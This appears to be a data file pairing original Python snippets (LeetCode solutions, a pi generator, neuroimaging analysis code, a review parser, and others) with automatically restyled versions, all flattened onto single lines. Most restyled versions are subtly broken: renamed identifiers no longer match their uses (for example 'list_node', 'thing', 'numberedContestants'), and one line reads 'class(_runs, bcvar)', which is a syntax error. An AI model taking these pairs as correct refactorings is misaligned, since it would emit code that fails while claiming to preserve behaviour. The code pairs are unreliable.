class Solution: def XXX(self, root: TreeNode) -> List[List[int]]: ans, d = [], [root] if root else [] while d: ans.append([t.val for t in d]) d = [r for t in d for r in (t.left, t.right) if r] return ans
class Solution: def xxx(self, root: TreeNode) -> List[List[int]]: (ans, d) = ([], [root] if root else []) while d: ans.append([t.val for t in d]) d = [r for t in d for r in (t.left, t.right) if r] return ans
# Range -> range instance that holds all nums counting by one between 0 and first input # List -> lists numbers from the inputted tuple numberedContestants = range(30) print(list(numberedContestants)) for c in list(numberedContestants): print(f"Contestant {c} is here.") lucky_winners = range(7, 30, 5) print(list(lucky_winners))
numbered_contestants = range(30) print(list(numberedContestants)) for c in list(numberedContestants): print(f'Contestant {c} is here.') lucky_winners = range(7, 30, 5) print(list(lucky_winners))
class Thing: def __init__(self, x, y, name): self.x = x self.y = y self.name = name t = Thing(12, 34, "dave") print(vars(t)) # {'x': 12, 'y': 34, 'name': 'dave'}
class Thing: def __init__(self, x, y, name): self.x = x self.y = y self.name = name t = thing(12, 34, 'dave') print(vars(t))
""" module docstring for pylint """ print("Hello") print("new line to test")
""" module docstring for pylint """ print('Hello') print('new line to test')
#!/usr/bin/python class FilterModule(object): def filters(self): return { 'amend_list_items': self.amend_list_items } def amend_list_items(self, orig_list, prefix="", postfix=""): return list(map(lambda listelement: prefix + str(listelement) + postfix, orig_list))
class Filtermodule(object): def filters(self): return {'amend_list_items': self.amend_list_items} def amend_list_items(self, orig_list, prefix='', postfix=''): return list(map(lambda listelement: prefix + str(listelement) + postfix, orig_list))
"""Loads config from several locations.""" def test_multifolder(multifolder_config): """Check if files from 2nd folder had been loaded.""" assert 'key_config2' in multifolder_config.registry['config']
"""Loads config from several locations.""" def test_multifolder(multifolder_config): """Check if files from 2nd folder had been loaded.""" assert 'key_config2' in multifolder_config.registry['config']
"""a Django app defining markdown processing filters and tags for templates USAGE ------------ Include this app into your installed apps. Then you can use code like the one below in your templates {% load markdown_tags %} AN EXAMPLE FOR THE USE OF THE MARKDOWNF FILTER<br/> {{ a_safe_variable_containing_markdown | safe | markdownf }} <hr/> AN EXAMPLE FOR THE USE OF THE MARKDOWN BLOCKTAG<br/> {% markdown %} <markdown text here> {% endmarkdown %} See `views.py` and the templates included in the package for more examples. Note: this package contains some more example code for how to deal with markdown (and other textprocessors for this matter): - `views.whole_page_as_markdown` is an example where an entire template is rendered as markdown (this is probably not that useful in practice, as usually there whould be some wrapper around it) - `page_including_markdown` is an example for a double tempate page, where the _master_ page is a regular template which pulls html that is has converted from markdown generated by a second template (arguably one might simply use the `markdownf` filter for that REQUIREMENTS ------------ This packages uses the `markdown` processor for markdown. It can be installed using pip install markdown """ __version__ = "1.0" __version_dt__ = "2015-09-13" __copyright__="Copyright (c) oditorium 2015. All rights reserved." __license__="MIT License"
"""a Django app defining markdown processing filters and tags for templates USAGE ------------ Include this app into your installed apps. Then you can use code like the one below in your templates {% load markdown_tags %} AN EXAMPLE FOR THE USE OF THE MARKDOWNF FILTER<br/> {{ a_safe_variable_containing_markdown | safe | markdownf }} <hr/> AN EXAMPLE FOR THE USE OF THE MARKDOWN BLOCKTAG<br/> {% markdown %} <markdown text here> {% endmarkdown %} See `views.py` and the templates included in the package for more examples. Note: this package contains some more example code for how to deal with markdown (and other textprocessors for this matter): - `views.whole_page_as_markdown` is an example where an entire template is rendered as markdown (this is probably not that useful in practice, as usually there whould be some wrapper around it) - `page_including_markdown` is an example for a double tempate page, where the _master_ page is a regular template which pulls html that is has converted from markdown generated by a second template (arguably one might simply use the `markdownf` filter for that REQUIREMENTS ------------ This packages uses the `markdown` processor for markdown. It can be installed using pip install markdown """ __version__ = '1.0' __version_dt__ = '2015-09-13' __copyright__ = 'Copyright (c) oditorium 2015. All rights reserved.' __license__ = 'MIT License'
#!/usr/bin/env python def calcPi(limit): # Generator function """ Prints out the digits of PI until it reaches the given limit """ q, r, t, k, n, l = 1, 0, 1, 1, 3, 3 decimal = limit counter = 0 while counter != decimal + 1: if 4 * q + r - t < n * t: # yield digit yield n # insert period after first digit if counter == 0: yield '.' # end if decimal == counter: print('') break counter += 1 nr = 10 * (r - n * t) n = ((10 * (3 * q + r)) // t) - 10 * n q *= 10 r = nr else: nr = (2 * q + r) * l nn = (q * (7 * k) + 2 + (r * l)) // (t * l) q *= k t *= l l += 2 k += 1 n = nn r = nr def main(): # Wrapper function # Calls CalcPi with the given limit pi_digits = calcPi(int(input( "Enter the number of decimals to calculate to: "))) i = 0 # Prints the output of calcPi generator function # Inserts a newline after every 50th number for d in pi_digits: print(d, end='') i += 1 if i == 50: print("") i = 0 if __name__ == '__main__': main()
def calc_pi(limit): """ Prints out the digits of PI until it reaches the given limit """ (q, r, t, k, n, l) = (1, 0, 1, 1, 3, 3) decimal = limit counter = 0 while counter != decimal + 1: if 4 * q + r - t < n * t: yield n if counter == 0: yield '.' if decimal == counter: print('') break counter += 1 nr = 10 * (r - n * t) n = 10 * (3 * q + r) // t - 10 * n q *= 10 r = nr else: nr = (2 * q + r) * l nn = (q * (7 * k) + 2 + r * l) // (t * l) q *= k t *= l l += 2 k += 1 n = nn r = nr def main(): pi_digits = calc_pi(int(input('Enter the number of decimals to calculate to: '))) i = 0 for d in pi_digits: print(d, end='') i += 1 if i == 50: print('') i = 0 if __name__ == '__main__': main()
class ListNode(object): def __init__(self, x): self.val = x self.next = None # Function to print the list def print_list(self): node = self output = '' while node: output += str(node.val) output += " " node = node.next print(output) # Iterative Solution def reverse_iteratively(self, head): current = head reversed_head = None while current: next_node = current.next # next node to the right current.next = reversed_head # link backward reversed_head = current current = next_node return reversed_head # Implement this. # Recursive Solution def reverse_recursively(self, head): # if linked list is empty or contains only one node, # we already have the list reversed if head is None or head.next is None: return head # otherwise, continue to iterate the list until the end new_head = self.reverse_recursively(head.next) # say we already iterated the list until there are only two nodes left # x1 -> x2 ... -> 1 -> 2 -> None # After the last call, we have the head->next now point to 2 # head now is at node 1, so we want to turn the new head around, # 1 -> 2 -> 1 so that 2 now becomes new head head.next.next = head # point the next of node 1 to None to avoid cycle head.next = None return new_head if __name__ == "__main__": # Test Program # Initialize the test list: testHead = ListNode(4) node1 = ListNode(3) testHead.next = node1 node2 = ListNode(2) node1.next = node2 node3 = ListNode(1) node2.next = node3 testTail = ListNode(0) node3.next = testTail print("Initial list: ") testHead.print_list() # 4 3 2 1 0 testHead.reverse_iteratively(testHead) # testHead.reverseRecursively(testHead) print("List after reversal: ") testTail.print_list() # 0 1 2 3 4
class Listnode(object): def __init__(self, x): self.val = x self.next = None def print_list(self): node = self output = '' while node: output += str(node.val) output += ' ' node = node.next print(output) def reverse_iteratively(self, head): current = head reversed_head = None while current: next_node = current.next current.next = reversed_head reversed_head = current current = next_node return reversed_head def reverse_recursively(self, head): if head is None or head.next is None: return head new_head = self.reverse_recursively(head.next) head.next.next = head head.next = None return new_head if __name__ == '__main__': test_head = list_node(4) node1 = list_node(3) testHead.next = node1 node2 = list_node(2) node1.next = node2 node3 = list_node(1) node2.next = node3 test_tail = list_node(0) node3.next = testTail print('Initial list: ') testHead.print_list() testHead.reverse_iteratively(testHead) print('List after reversal: ') testTail.print_list()
class EmptyFactor: """ Empty factors, such as safeZoneX which do not get multiplied by anything """ def __str__(self): return type(self).__name__ def __repr__(self): return str(self) def _operation_skip_if(self, skip, other, op): if other == skip: return self return Operation(self, other, op) def _skip_zero(self, other, op): if isinstance(other, (float, int)) and float(other) == 0: return self return Operation(self, other, op) def __mul__(self, other): return self._operation_skip_if(1, other, '*') def __truediv__(self, other): return self._operation_skip_if(1, other, '/') def __mod__(self, other): return Operation(self, other, '%') def __add__(self, other): return self._skip_zero(other, '+') def __sub__(self, other): return self._skip_zero(other, '-') def _filter_redundant_prod(self, return_): if float(self) == 1: return return_ return '({}*{})'.format(float(self), return_) class Factor(EmptyFactor, float): def __str__(self): return '{}({})'.format(type(self).__name__, float(self)) def export(self): return float(self) class Operation(EmptyFactor): def __init__(self, left, right, op): self.left = left self.right = right self.op = op def export(self): def _xport(x): if hasattr(x, 'export'): return x.export() return x return '({left}{op}{right})'.format( left=_xport(self.left), op=self.op, right=_xport(self.right) ) def __str__(self): return '{name}({left}{op}{right})'.format( name=type(self).__name__, left=self.left, op=self.op, right=self.right ) class SafeZoneX(EmptyFactor): def export(self): return 'safeZoneX' class SafeZoneY(EmptyFactor): def export(self): return 'safeZoneY' class PixelGrid(EmptyFactor): @classmethod def pixel_h(cls, fac): return Operation(PixelH(fac), cls(), '*') @classmethod def pixel_w(cls, fac): return Operation(PixelW(fac), cls(), '*') def export(self): return 'pixelGrid' class SafeZoneW(Factor): def export(self): return self._filter_redundant_prod('safeZoneW') class SafeZoneH(Factor): def export(self): return self._filter_redundant_prod('safeZoneH') class PixelH(Factor): def export(self): return self._filter_redundant_prod('pixelH') class PixelW(Factor): def export(self): return self._filter_redundant_prod('pixelW') class Percentage(float): pass
class Emptyfactor: """ Empty factors, such as safeZoneX which do not get multiplied by anything """ def __str__(self): return type(self).__name__ def __repr__(self): return str(self) def _operation_skip_if(self, skip, other, op): if other == skip: return self return operation(self, other, op) def _skip_zero(self, other, op): if isinstance(other, (float, int)) and float(other) == 0: return self return operation(self, other, op) def __mul__(self, other): return self._operation_skip_if(1, other, '*') def __truediv__(self, other): return self._operation_skip_if(1, other, '/') def __mod__(self, other): return operation(self, other, '%') def __add__(self, other): return self._skip_zero(other, '+') def __sub__(self, other): return self._skip_zero(other, '-') def _filter_redundant_prod(self, return_): if float(self) == 1: return return_ return '({}*{})'.format(float(self), return_) class Factor(EmptyFactor, float): def __str__(self): return '{}({})'.format(type(self).__name__, float(self)) def export(self): return float(self) class Operation(EmptyFactor): def __init__(self, left, right, op): self.left = left self.right = right self.op = op def export(self): def _xport(x): if hasattr(x, 'export'): return x.export() return x return '({left}{op}{right})'.format(left=_xport(self.left), op=self.op, right=_xport(self.right)) def __str__(self): return '{name}({left}{op}{right})'.format(name=type(self).__name__, left=self.left, op=self.op, right=self.right) class Safezonex(EmptyFactor): def export(self): return 'safeZoneX' class Safezoney(EmptyFactor): def export(self): return 'safeZoneY' class Pixelgrid(EmptyFactor): @classmethod def pixel_h(cls, fac): return operation(pixel_h(fac), cls(), '*') @classmethod def pixel_w(cls, fac): return operation(pixel_w(fac), cls(), '*') def export(self): return 'pixelGrid' class Safezonew(Factor): def export(self): return self._filter_redundant_prod('safeZoneW') class Safezoneh(Factor): def export(self): return self._filter_redundant_prod('safeZoneH') class Pixelh(Factor): def export(self): return self._filter_redundant_prod('pixelH') class Pixelw(Factor): def export(self): return self._filter_redundant_prod('pixelW') class Percentage(float): pass
''' prompt = "\nTell me something, and i will repeat it back to you." prompt += "\n'quit' to end the program." prompt += "\n" message = "" active = True while active: message = input(prompt) if message == 'quit': active = false else: print(message) ''' current_number = 0 while current_number < 10: current_number += 1 if current_number % 2 == 0: continue else: print(current_number)
""" prompt = " Tell me something, and i will repeat it back to you." prompt += " 'quit' to end the program." prompt += " " message = "" active = True while active: message = input(prompt) if message == 'quit': active = false else: print(message) """ current_number = 0 while current_number < 10: current_number += 1 if current_number % 2 == 0: continue else: print(current_number)
# -*- coding: utf-8 -*- ''' Cluster Helpers (functions) Functions that help with clusters. ''' # This file can be found in our projectfolder in /softpro/ss16/swp-ss16-srk/autosarkasmus/autosarkasmus/baseline/rsrc CLUSTER_FILE = '../rsrc/lda-topics-10-50.v2' # Get the number of clusters def load_number_of_clusters(): '''Load the number of clusters from the file and return it''' res = [] maximum = 0 with open(CLUSTER_FILE, 'r', encoding='latin-1') as fop: for line in fop: res.append(int(line.strip().split("\t")[2])) return max(res) def load_clusters(): '''Construct the cluster keys''' res = [] for no in range(0,load_number_of_clusters()+1): res.append('cluster-' + str(no)) return res def cluster_map(): '''create cluster lists''' cluster_map = {} with open(CLUSTER_FILE, 'r', encoding='latin-1') as fop: for line in fop: no = int(line.strip().split("\t")[2]) token = line.strip().split("\t")[1] cluster_map[token] = no return cluster_map
""" Cluster Helpers (functions) Functions that help with clusters. """ cluster_file = '../rsrc/lda-topics-10-50.v2' def load_number_of_clusters(): """Load the number of clusters from the file and return it""" res = [] maximum = 0 with open(CLUSTER_FILE, 'r', encoding='latin-1') as fop: for line in fop: res.append(int(line.strip().split('\t')[2])) return max(res) def load_clusters(): """Construct the cluster keys""" res = [] for no in range(0, load_number_of_clusters() + 1): res.append('cluster-' + str(no)) return res def cluster_map(): """create cluster lists""" cluster_map = {} with open(CLUSTER_FILE, 'r', encoding='latin-1') as fop: for line in fop: no = int(line.strip().split('\t')[2]) token = line.strip().split('\t')[1] cluster_map[token] = no return cluster_map
# Program to calculate Factorial of a Number. N = int(input("N = ")) def factorial(N): f = 1 for i in range(1,N+1): f *= i print(f) factorial(N)
n = int(input('N = ')) def factorial(N): f = 1 for i in range(1, N + 1): f *= i print(f) factorial(N)
''' Author : MiKueen Level : Easy Problem Statement : Delete Node in a Linked List Write a function to delete a node (except the tail) in a singly linked list, given only access to that node. Given linked list -- head = [4,5,1,9], which looks like following: Example 1: Input: head = [4,5,1,9], node = 5 Output: [4,1,9] Explanation: You are given the second node with value 5, the linked list should become 4 -> 1 -> 9 after calling your function. Example 2: Input: head = [4,5,1,9], node = 1 Output: [4,5,9] Explanation: You are given the third node with value 1, the linked list should become 4 -> 5 -> 9 after calling your function. ''' # Definition for singly-linked list. # class ListNode(object): # def __init__(self, x): # self.val = x # self.next = None class Solution(object): def deleteNode(self, node): """ :type node: ListNode :rtype: void Do not return anything, modify node in-place instead. """ if node == None: pass else: next_node = node.next node.val = next_node.val node.next = next_node.next
""" Author : MiKueen Level : Easy Problem Statement : Delete Node in a Linked List Write a function to delete a node (except the tail) in a singly linked list, given only access to that node. Given linked list -- head = [4,5,1,9], which looks like following: Example 1: Input: head = [4,5,1,9], node = 5 Output: [4,1,9] Explanation: You are given the second node with value 5, the linked list should become 4 -> 1 -> 9 after calling your function. Example 2: Input: head = [4,5,1,9], node = 1 Output: [4,5,9] Explanation: You are given the third node with value 1, the linked list should become 4 -> 5 -> 9 after calling your function. """ class Solution(object): def delete_node(self, node): """ :type node: ListNode :rtype: void Do not return anything, modify node in-place instead. """ if node == None: pass else: next_node = node.next node.val = next_node.val node.next = next_node.next
class number: """ This product includes software developed by L. Pham-Trong and this guy rocks. """ def __init__(self, value: str, base): alphabet = [str(i) for i in range(10)] + [chr(i).upper() for i in range(97, 123)] self.val = [c for c in value] self.alph = alphabet[:base] self.last = self.alph[-1] self.first = self.alph[0] self.len_alph = len(alphabet) def last_that_is_not(self,number, target): for idx, c in enumerate(number[::-1]): if c != target: return len(number)-1 - idx return def next(self): # We look for the last letter that isn't equal to self.last change_loc = self.last_that_is_not(self.val, self.last) if change_loc is not None: elem = self.val[change_loc] new_letter = self.alph[self.alph.index(elem)+1] self.val[change_loc] = new_letter len_val = len(self.val) # In case last that is not isnt the last letter change_loc = -1 if change_loc is None else change_loc increment = change_loc == -1 for idx in range(change_loc+1, len_val): self.val[idx] = self.alph[0] if increment: self.val = [self.alph[1]] + [self.alph[0] for i in range(len_val)] def prev(self): # we look for the last letter that isn't equal to self.first change_loc = self.last_that_is_not(self.val, self.first) if change_loc is not None: elem = self.val[change_loc] new_letter = self.alph[self.alph.index(elem)-1] self.val[change_loc] = new_letter len_val = len(self.val) # In case last that is not is first letter self.val = [alphabet[-1] for i in range(len_val - 1)] def __repr__(self): return ''.join(self.val) __str__ = __repr__
class Number: """ This product includes software developed by L. Pham-Trong and this guy rocks. """ def __init__(self, value: str, base): alphabet = [str(i) for i in range(10)] + [chr(i).upper() for i in range(97, 123)] self.val = [c for c in value] self.alph = alphabet[:base] self.last = self.alph[-1] self.first = self.alph[0] self.len_alph = len(alphabet) def last_that_is_not(self, number, target): for (idx, c) in enumerate(number[::-1]): if c != target: return len(number) - 1 - idx return def next(self): change_loc = self.last_that_is_not(self.val, self.last) if change_loc is not None: elem = self.val[change_loc] new_letter = self.alph[self.alph.index(elem) + 1] self.val[change_loc] = new_letter len_val = len(self.val) change_loc = -1 if change_loc is None else change_loc increment = change_loc == -1 for idx in range(change_loc + 1, len_val): self.val[idx] = self.alph[0] if increment: self.val = [self.alph[1]] + [self.alph[0] for i in range(len_val)] def prev(self): change_loc = self.last_that_is_not(self.val, self.first) if change_loc is not None: elem = self.val[change_loc] new_letter = self.alph[self.alph.index(elem) - 1] self.val[change_loc] = new_letter len_val = len(self.val) self.val = [alphabet[-1] for i in range(len_val - 1)] def __repr__(self): return ''.join(self.val) __str__ = __repr__
mask=chosenMask print('mask dimensions: {}'. format(mask.shape)) print('number of voxels in mask: {}'.format(np.sum(mask))) # Compile preprocessed data and corresponding indices metas = [] for run in range(1, 7): print(run, end='--') # retrieve from the dictionary which phase it is, assign the session phase = phasedict[run] ses = 1 # Build the path for the preprocessed functional data this4d = funcdata.format(ses=ses, run=run, phase=phase, sub=subject) # Read in the metadata, and reduce it to only the TR values from this run, add to a list thismeta = pd.read_csv(metadata.format(ses=ses, run=run, phase=phase, sub=subject)) if dataSource == "neurosketch": _run = 1 if run % 2 == 0 else 2 else: _run = run thismeta = thismeta[thismeta['run_num'] == int(_run)] if dataSource == "realtime": TR_num = list(thismeta.TR.astype(int)) labels = list(thismeta.Item) labels = [imcodeDict[label] for label in labels] else: TR_num = list(thismeta.TR_num.astype(int)) labels = list(thismeta.label) print("LENGTH OF TR: {}".format(len(TR_num))) # Load the functional data runIm = nib.load(this4d) affine_mat = runIm.affine runImDat = runIm.get_data() # Use the TR numbers to select the correct features features = [runImDat[:,:,:,n+3] for n in TR_num] features = np.array(features) # features = features[:, mask==1] print("shape of features", features.shape, "shape of mask", mask.shape) # featmean = features.mean(1).mean(1).mean(1)[..., None,None,None] #features.mean(1)[..., None] # features = features - featmean # features = features - features.mean(0) features = normalize(features) features = np.expand_dims(features, 0) # Append both so we can use it later metas.append(labels) runs = features if run == 1 else np.concatenate((runs, features)) dimsize = runIm.header.get_zooms() # Preset the variables print("Runs shape", runs.shape) bcvar = [metas] # save_obj([bcvar,runs],f"./tmp_folder/{subject}_{dataSource}_{roiloc}_{N}") #{len(topN)}_{i} # # Distribute the information to the searchlights (preparing it to run) # _runs = [runs[:,:,mask==1]] # print("Runs shape", _runs[0].shape) # slstart = time.time() # sl_result = Class(_runs, bcvar) # print("results of classifier: {}, type: {}".format(sl_result, type(sl_result))) # SL = time.time() - slstart # tot = time.time() - starttime # print('total time: {}, searchlight time: {}'.format(tot, SL)) def wait(tmpFile): while not os.path.exists(tmpFile+'_result.npy'): time.sleep(5) print(f"waiting for {tmpFile}_result.npy\n") return np.load(tmpFile+'_result.npy') def numOfRunningJobs(): # subprocess.Popen(['squeue -u kp578 | wc -l > squeue.txt'],shell=True) # sl_result = Class(_runs, bcvar) randomID=str(time.time()) # print(f"squeue -u kp578 | wc -l > squeue/{randomID}.txt") call(f'squeue -u kp578 | wc -l > squeue/{randomID}.txt',shell=True) numberOfJobsRunning = int(open(f"squeue/{randomID}.txt", "r").read()) print(f"numberOfJobsRunning={numberOfJobsRunning}") return numberOfJobsRunning # if not os.path.exists(f"./tmp_folder/{subject}_{N}_{roiloc}_{dataSource}_{len(topN)}.pkl"): _runs = [runs[:,:,mask==1]] print("Runs shape", _runs[0].shape) slstart = time.time() sl_result = Class(_runs, bcvar) print(f"sl_result={sl_result}")
mask = chosenMask print('mask dimensions: {}'.format(mask.shape)) print('number of voxels in mask: {}'.format(np.sum(mask))) metas = [] for run in range(1, 7): print(run, end='--') phase = phasedict[run] ses = 1 this4d = funcdata.format(ses=ses, run=run, phase=phase, sub=subject) thismeta = pd.read_csv(metadata.format(ses=ses, run=run, phase=phase, sub=subject)) if dataSource == 'neurosketch': _run = 1 if run % 2 == 0 else 2 else: _run = run thismeta = thismeta[thismeta['run_num'] == int(_run)] if dataSource == 'realtime': tr_num = list(thismeta.TR.astype(int)) labels = list(thismeta.Item) labels = [imcodeDict[label] for label in labels] else: tr_num = list(thismeta.TR_num.astype(int)) labels = list(thismeta.label) print('LENGTH OF TR: {}'.format(len(TR_num))) run_im = nib.load(this4d) affine_mat = runIm.affine run_im_dat = runIm.get_data() features = [runImDat[:, :, :, n + 3] for n in TR_num] features = np.array(features) print('shape of features', features.shape, 'shape of mask', mask.shape) features = normalize(features) features = np.expand_dims(features, 0) metas.append(labels) runs = features if run == 1 else np.concatenate((runs, features)) dimsize = runIm.header.get_zooms() print('Runs shape', runs.shape) bcvar = [metas] def wait(tmpFile): while not os.path.exists(tmpFile + '_result.npy'): time.sleep(5) print(f'waiting for {tmpFile}_result.npy\n') return np.load(tmpFile + '_result.npy') def num_of_running_jobs(): random_id = str(time.time()) call(f'squeue -u kp578 | wc -l > squeue/{randomID}.txt', shell=True) number_of_jobs_running = int(open(f'squeue/{randomID}.txt', 'r').read()) print(f'numberOfJobsRunning={numberOfJobsRunning}') return numberOfJobsRunning _runs = [runs[:, :, mask == 1]] print('Runs shape', _runs[0].shape) slstart = time.time() sl_result = class(_runs, bcvar) print(f'sl_result={sl_result}')
def fibonnacci(nth: int) -> int: if nth <= 1: return 1 else: return fibonnacci(nth - 1) + fibonnacci(nth - 2)
def fibonnacci(nth: int) -> int: if nth <= 1: return 1 else: return fibonnacci(nth - 1) + fibonnacci(nth - 2)
def parse_review(original_cleaned_value, soup, url, post): if "review" in original_cleaned_value: h_review = soup.select(".h-review") if h_review: h_review = h_review[0] name = h_review.select(".p-name")[0].text if not name: name = soup.find("title") rating = h_review.select(".p-rating") if not rating: rating = h_review.select(".rating")[0].text if not rating: rating = "" review = h_review.select(".e-content") if review: # only show first four sentences of review review = ". ".join(review[0].text.split(". ")[:4]) + "..." else: review = "" return "<h3>Review of {}</h3><p>Rating: {}</p><p>{}</p>".format(name, rating, review), {"type": "direct_answer", "breadcrumb": url, "title": post["title"]} return None, None def parse_aggregate_review(original_cleaned_value, soup, url, post): if "aggregate review" in original_cleaned_value: h_review = soup.select(".h-review-aggregate") if h_review: h_review = h_review[0] to_show = "" if not h_review.select(".p-item"): return None, None to_show += "<p>" + h_review.select(".p-item")[0].text + "</p>" supported_properties = ["p-average", "p-best", "p-worst", "p-count", "p-votes"] for property in supported_properties: if h_review.select(".{}".format(property)): to_show += "<li><b>{}</b>{}</li>".format(property.replace("p-", "").title(), h_review.select(".{}".format(property))[0].text) return "<h3>Aggregate review of {}</h3><ul>{}</ul>".format(to_show), {"type": "direct_answer", "breadcrumb": url, "title": post["title"]} return None, None
def parse_review(original_cleaned_value, soup, url, post): if 'review' in original_cleaned_value: h_review = soup.select('.h-review') if h_review: h_review = h_review[0] name = h_review.select('.p-name')[0].text if not name: name = soup.find('title') rating = h_review.select('.p-rating') if not rating: rating = h_review.select('.rating')[0].text if not rating: rating = '' review = h_review.select('.e-content') if review: review = '. '.join(review[0].text.split('. ')[:4]) + '...' else: review = '' return ('<h3>Review of {}</h3><p>Rating: {}</p><p>{}</p>'.format(name, rating, review), {'type': 'direct_answer', 'breadcrumb': url, 'title': post['title']}) return (None, None) def parse_aggregate_review(original_cleaned_value, soup, url, post): if 'aggregate review' in original_cleaned_value: h_review = soup.select('.h-review-aggregate') if h_review: h_review = h_review[0] to_show = '' if not h_review.select('.p-item'): return (None, None) to_show += '<p>' + h_review.select('.p-item')[0].text + '</p>' supported_properties = ['p-average', 'p-best', 'p-worst', 'p-count', 'p-votes'] for property in supported_properties: if h_review.select('.{}'.format(property)): to_show += '<li><b>{}</b>{}</li>'.format(property.replace('p-', '').title(), h_review.select('.{}'.format(property))[0].text) return ('<h3>Aggregate review of {}</h3><ul>{}</ul>'.format(to_show), {'type': 'direct_answer', 'breadcrumb': url, 'title': post['title']}) return (None, None)
"""Helper function and aspect to collect first-party packages. These are used in node rules to link the node_modules before launching a program. This supports path re-mapping, to support short module names. See pathMapping doc: https://github.com/Microsoft/TypeScript/issues/5039 This reads the module_root and module_name attributes from rules in the transitive closure, rolling these up to provide a mapping to the linker, which uses the mappings to link a node_modules directory for runtimes to locate all the first-party packages. """ load("@build_bazel_rules_nodejs//:providers.bzl", "NpmPackageInfo") def _debug(vars, *args): if "VERBOSE_LOGS" in vars.keys(): print("[link_node_modules.bzl]", *args) # Arbitrary name; must be chosen to globally avoid conflicts with any other aspect _ASPECT_RESULT_NAME = "link_node_modules__aspect_result" # Traverse 'srcs' in addition so that we can go across a genrule _MODULE_MAPPINGS_DEPS_NAMES = ["data", "deps", "srcs"] def register_node_modules_linker(ctx, args, inputs): """Helps an action to run node by setting up the node_modules linker as a pre-process Args: ctx: Bazel's starlark execution context, used to get attributes and actions args: Arguments being passed to the program; a linker argument will be appended inputs: inputs being passed to the program; a linker input will be appended """ mappings = { # We always map the workspace to itself to support absolute require like # import from 'my_wksp/path/to/file' # and it's always a bin dependency, TODO: let user control via package.json ctx.workspace_name: ["bin", ctx.workspace_name], } node_modules_root = "" # Look through data/deps attributes to find... for dep in getattr(ctx.attr, "data", []) + getattr(ctx.attr, "deps", []): # ...the root directory for the third-party node_modules; we'll symlink the local "node_modules" to it if NpmPackageInfo in dep: possible_root = "/".join([dep[NpmPackageInfo].workspace, "node_modules"]) if not node_modules_root: node_modules_root = possible_root elif node_modules_root != possible_root: fail("All npm dependencies need to come from a single workspace. Found '%s' and '%s'." % (node_modules_root, possible_root)) # ...first-party packages to be linked into the node_modules tree for k, v in getattr(dep, _ASPECT_RESULT_NAME, {}).items(): if k in mappings and mappings[k] != v: fail(("conflicting module mapping at %s: %s maps to both %s and %s" % (dep.label, k, mappings[k], v)), "deps") _debug(ctx.var, "Linking %s: %s" % (k, v)) mappings[k] = v # Write the result to a file, and use the magic node option --bazel_node_modules_manifest # The node_launcher.sh will peel off this argument and pass it to the linker rather than the program. modules_manifest = ctx.actions.declare_file("_%s.module_mappings.json" % ctx.label.name) content = { "bin": ctx.bin_dir.path, "modules": mappings, "root": node_modules_root, "workspace": ctx.workspace_name, } ctx.actions.write(modules_manifest, str(content)) args.add("--bazel_node_modules_manifest=%s" % modules_manifest.path) inputs.append(modules_manifest) def get_module_mappings(label, attrs, vars, rule_kind, srcs = [], workspace_name = None): """Returns the module_mappings from the given attrs. Collects a {module_name - module_root} hash from all transitive dependencies, checking for collisions. If a module has a non-empty `module_root` attribute, all sources underneath it are treated as if they were rooted at a folder `module_name`. Args: label: label attrs: attributes srcs: sources (defaults to []) workspace_name: workspace name (defaults to None) Returns: The module mappings """ mappings = {} for name in _MODULE_MAPPINGS_DEPS_NAMES: for dep in getattr(attrs, name, []): for k, v in getattr(dep, _ASPECT_RESULT_NAME, {}).items(): if k in mappings and mappings[k] != v: fail(("duplicate module mapping at %s: %s maps to both %s and %s" % (label, k, mappings[k], v)), "deps") _debug(vars, "target %s propagating module mapping %s: %s" % (dep, k, v)) # A package which was reachable transitively via a *_binary # rule is assumed to be in the runfiles of that binary, # so we switch the linker target root. # In theory we ought to be able to tell that the files really are # propagated through the runfiles output of the target we are visiting # but it seems that this info is only available in Bazel Java internals. # TODO: revisit whether this is the correct condition after downstream testing if rule_kind.endswith("_binary"): mappings[k] = ["runfiles", v[1]] else: mappings[k] = v if not getattr(attrs, "module_name", None) and not getattr(attrs, "module_root", None): # No mappings contributed here, short-circuit with the transitive ones we collected _debug(vars, "No module_name or module_root attr for", label) return mappings mn = getattr(attrs, "module_name", label.name) mr = label.package if workspace_name: mr = "%s/%s" % (workspace_name, mr) elif label.workspace_root: mr = "%s/%s" % (label.workspace_root, mr) # Consider the module_root attribute when resolving mappings to allow for ts_libraries compiled with it set. if attrs.module_root and attrs.module_root != ".": mr = "%s/%s" % (mr, attrs.module_root) if attrs.module_root.endswith(".ts"): if workspace_name: mr = mr.replace(".d.ts", "") # Validate that sources are underneath the module root. # module_roots ending in .ts are a special case, they are used to # restrict what's exported from a build rule, e.g. only exports from a # specific index.d.ts file. For those, not every source must be under the # given module root. else: for s in srcs: short_path = s.short_path # Execroot paths for external repositories should start with external/ # But the short_path property of file gives the relative path from our workspace # instead. We must correct this to compare with the module_root which is an # execroot path. if short_path.startswith("../"): short_path = "external/" + short_path[3:] if not short_path.startswith(mr): fail(("all sources must be under module root: %s, but found: %s" % (mr, short_path))) # since our module mapping is currently based on attribute names, # allow a special one to instruct the linker that the package has no output # directory and is therefore meant to be used as sources. # TODO: This belongs in a different mechanism like a package.json field. if getattr(attrs, "module_from_src", False): mr = ["src", mr] else: mr = ["bin", mr] if mn in mappings and mappings[mn] != mr: fail(("duplicate module mapping at %s: %s maps to both %s and %s" % (label, mn, mappings[mn], mr)), "deps") _debug(vars, "target %s adding module mapping %s: %s" % (label, mn, mr)) mappings[mn] = mr return mappings # When building a mapping for use at runtime, we need paths to be relative to # the runfiles directory. This requires the workspace_name to be prefixed on # each module root. def _module_mappings_aspect_impl(target, ctx): if target.label.workspace_root: # We need the workspace_name for the target being visited. # Skylark doesn't have this - instead they have a workspace_root # which looks like "external/repo_name" - so grab the second path segment. # TODO(alexeagle): investigate a better way to get the workspace name workspace_name = target.label.workspace_root.split("/")[1] else: workspace_name = ctx.workspace_name # Use a dictionary to construct the result struct # so that we can reference the _ASPECT_RESULT_NAME variable return struct(**{ _ASPECT_RESULT_NAME: get_module_mappings( target.label, ctx.rule.attr, ctx.var, ctx.rule.kind, workspace_name = workspace_name, ), }) module_mappings_aspect = aspect( _module_mappings_aspect_impl, attr_aspects = _MODULE_MAPPINGS_DEPS_NAMES, )
